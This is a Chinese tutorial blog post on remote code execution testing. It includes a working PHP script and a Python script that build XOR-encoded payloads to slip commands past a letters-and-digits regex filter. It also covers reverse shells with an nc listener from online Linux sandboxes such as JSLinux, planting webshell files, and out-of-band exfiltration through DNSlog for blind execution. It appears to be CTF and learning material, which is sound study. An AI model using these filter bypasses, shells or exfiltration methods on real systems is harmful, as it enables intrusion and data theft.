当前位置: 首页 > news >正文

黑盒RCE测试 异或测试

前言

了解了漏洞的原理之后就需要知道  他在哪能出现  并且被利用  这个还是很重要的

异或测试

使用异或(XOR)运算进行加密解密的原理_异或加密-CSDN博客

异或测试是在 白盒内执行的 一个例题看一下

输入什么都是会报错

这种情况就需要使用  异或计算或者或运算进行绕过 脚本:

<?php
$myfile = fopen("res.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {for ($j=0; $j <256 ; $j++) {if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)^urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\n";}}}
}
fwrite($myfile,$contents);
fclose($myfile);

运行之后会生成一个 文件

import requests
import urllib
from sys import *
import osdef action(arg):s1 = ""s2 = ""for i in arg:f = open("res.txt", "r")while True:t = f.readline()if t == "":breakif t[0] == i:# print(i)s1 += t[2:5]s2 += t[6:9]breakf.close()output = "(\"" + s1 + "\"^\"" + s2 + "\")"return (output)while True:param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"print(param)

之后运行这个 就会出现询问

把上边这个异或计算的值拿出来直接 放到参数里

就能执行命令了

黑盒测试

RCE的黑盒出现在哪里啊?记住原理用户的输入别当做恶意代码执行   找有输入的地方但是 有输入怎么可能让你调用这个呀    那不就是相关的工具嘛  找一下(一般这类工具都是在沙盒里的)

JSLinux                       

可以查看相关的配置文件   这些配置文件就是它本身的 

弹个shell试一下  构造shell

[~]#棱角 ::Edge.Forum*

本地服务器监听  nc -lvvp 66   不就可以拿到shell了呀  但是一般的这个linux工具给你使用都会给这个命令禁   或者直接把命令文件删除

无回显问题

1、命令执行写的 网站服务器的其他的文本下边

2、带外

演示:    shell_exec 需要输出才能回显数据

1、

写个文件

写个木马 访问连接上去不就又是一个思路了嘛

2、带外

使用DNSlog  

获取ip

数据带外 (因为我只是localhost 是带不出来的 如果想带外就需要自己搭建个本地网站)

http://www.lryc.cn/news/508833.html

相关文章:

  • kotlin中泛型中in和out的区别
  • c# iis 解决跨域问题
  • MySQL版本对应的mysql-connector-java版本下载地址
  • 【读书笔记】《论语别裁》爱与罪
  • uniApp上传文件踩坑日记
  • Webhook 是什么?详解其工作原理
  • log4j2漏洞复现(CVE-2021-44228)
  • tcpdump抓包分析
  • LearnOpenGL学习(碰撞检测,粒子)
  • 操作系统(24)提高磁盘I/O速度的途径
  • C/C++基础知识复习(45)
  • 现代C++锁介绍
  • Squid代理服务器的安装使用
  • 爬虫学习案例8
  • 深入了解 CouchDB 的 Mango 查询:操作符和限制
  • 基于SSM(Spring + Spring MVC + MyBatis)框架搭建一个病人跟踪信息管理系统
  • U盘文件名变乱码:原因、恢复与预防全解析
  • EasyGBS国标GB28181公网平台P2P远程访问故障诊断:云端服务端排查指南
  • 一网多平面
  • animatediff 模型网盘分享
  • ansible play-book玩法
  • MySQL索引-索引的分类和创建
  • 如何给负载均衡平台做好安全防御
  • HR/TA/HRBP的关系
  • Docker环境下MySQL数据库持久化部署全攻略
  • 如何查看pad的console输出,以便我们更好的进行调试,查看并了解实际可能的问题。
  • react中使用ResizeObserver来观察元素的size变化
  • Linux快速入门-Linux文件系统管理
  • 漏洞检测工具:Swagger UI敏感信息泄露
  • VSCode如何修改默认扩展路径和用户文件夹目录到D盘